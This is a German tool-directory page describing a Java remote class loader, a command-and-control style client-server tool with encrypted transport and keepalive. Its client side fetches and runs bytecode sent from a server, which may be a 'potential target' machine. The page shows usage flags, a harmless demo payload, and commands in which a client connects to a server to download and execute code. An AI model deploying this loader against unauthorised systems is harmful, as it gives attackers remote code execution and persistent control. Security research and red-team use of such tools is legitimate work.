Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
java-remote-class-loader — Client-Server-Tool zum Fernladen und Ausführen von Java-Bytecode über ClassLoader und Reflect API, mit ChaCha20-Verschlüsselung und Keepalive-Verbindung. | Kitploit
Tools/GitHubGitHub/joaovarelas/java-remote-class-loader
Verschlüsselungs-/EntschlüsselungstoolsPayload-GenerierungExploitationCommand and ControlRemote-Access-ToolPayload-Entwicklung
GitHubjoaovarelas/java-remote-class-loader

java-remote-class-loader

Client-Server-Tool zum Fernladen und Ausführen von Java-Bytecode über ClassLoader und Reflect API, mit ChaCha20-Verschlüsselung und Keepalive-Verbindung.

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Repository anzeigen
3463vor 4 JahrenVon Kitploit geprüft

java-remote-class-loader

Mit diesem Tool können Sie Java-Bytecode in Form von Class-Dateien an Ihre Clients (oder potenzielle Ziele) senden, um ihn mit Java ClassLoader und der Reflect API zu laden und auszuführen. Der Client empfängt die Class-Datei vom Server und gibt die entsprechende Ausgabe zurück. Payloads müssen in Java geschrieben und kompiliert sein, bevor der Server gestartet wird.

Funktionen

  • Client-Server-Architektur
  • Fernladen von Java-Class-Dateien
  • Verschlüsselung während der Übertragung mittels ChaCha20-Chiffre
  • Einstellungen über Argumente definiert
  • Keepalive-Mechanismus zur Wiederherstellung der Kommunikation, falls der Server neu startet

Installation

Das Tool wurde mit OpenJDK 11 und dem Java-JRE-Paket sowohl unter Windows als auch unter Linux (portable ZIP-Version) getestet. Aufgrund der Abhängigkeiten sollte die Java-Version 11 oder höher sein.

https://www.openlogic.com/openjdk-downloads

Verwendung

root@kitploit:~
$ java -jar java-class-loader.jar -help

usage: Main
 -address <arg>       address to connect (client) / to bind (server)
 -classfile <arg>     filename of bytecode .class file to load remotely
                      (default: Payload.class)
 -classmethod <arg>   name of method to invoke (default: exec)
 -classname <arg>     name of class (default: Payload)
 -client              run as client
 -help                print this message
 -keepalive           keeps the client getting classfile from server every
                      X seconds (default: 3 seconds)
 -key <arg>           secret key - 256 bits in base64 format (if not
                      specified it will generate a new one)
 -port <arg>          port to connect (client) / to bind (server)
 -server              run as server

Beispiel

Angenommen, Sie haben folgenden Hello-World-Payload in der Datei Payload.java:

root@kitploit:~
//Payload.java
public class Payload {
    public static String exec() {
        String output = "";
        try {
            output = "Hello world from client!";
        } catch (Exception e) {
            e.printStackTrace();
        }
        return output;
    }
}

Dann sollten Sie die entsprechende Payload.class-Datei kompilieren und erzeugen.

Um den Serverprozess zu starten, der auf Port 1337 auf allen Netzwerkschnittstellen lauscht:

root@kitploit:~
$ java -jar java-class-loader.jar -server -address 0.0.0.0 -port 1337 -classfile Payload.class

Running as server
Server running on 0.0.0.0:1337
Generated new key: TOU3TLn1QsayL1K6tbNOzDK69MstouEyNLMGqzqNIrQ=

Auf der Clientseite können Sie dasselbe JAR-Paket mit dem Flag -client und dem vom Server generierten symmetrischen Schlüssel verwenden. Geben Sie die IP-Adresse und den Port des Servers an, zu dem eine Verbindung hergestellt werden soll. Sie können auch den Klassennamen und die Klassenmethode ändern (Standard sind Payload bzw. String exec()). Zusätzlich können Sie -keepalive angeben, um den Client dazu zu bringen, die Class-Datei kontinuierlich vom Server anzufordern, während die Verbindung aufrechterhalten wird.

root@kitploit:~
$ java -jar java-class-loader.jar -client -address 192.168.1.73 -port 1337 -key TOU3TLn1QsayL1K6tbNOzDK69MstouEyNLMGqzqNIrQ=

Running as client
Connecting to 192.168.1.73:1337
Received 593 bytes from server
Output from invoked class method: Hello world from client!
Sent 24 bytes to server

Referenzen

Weitere Informationen finden Sie im Blogbeitrag zur Entwicklung dieses Tools: https://vrls.ws/posts/2022/08/building-a-remote-class-loader-in-java/.

  1. https://github.com/rebeyond/Behinder

  2. https://github.com/AntSwordProject/antSword

  3. https://cyberandramen.net/2022/02/18/a-tale-of-two-shells/

  4. https://www.sangfor.com/blog/cybersecurity/behinder-v30-analysis

  5. https://xz.aliyun.com/t/2799

  6. https://medium.com/@m01e/jsp-webshell-cookbook-part-1-6836844ceee7

  7. https://venishjoe.net/post/dynamically-load-compiled-java-class/

  8. https://users.cs.jmu.edu/bernstdh/web/common/lectures/slides_class-loaders_remote.php

  9. https://www.javainterviewpoint.com/chacha20-poly1305-encryption-and-decryption/

  10. https://openjdk.org/jeps/329

  11. https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/ClassLoader.html

  12. https://docs.oracle.com/en/java/javase/11/docs/api/java.base/java/lang/reflect/Method.html

Tool herunterladen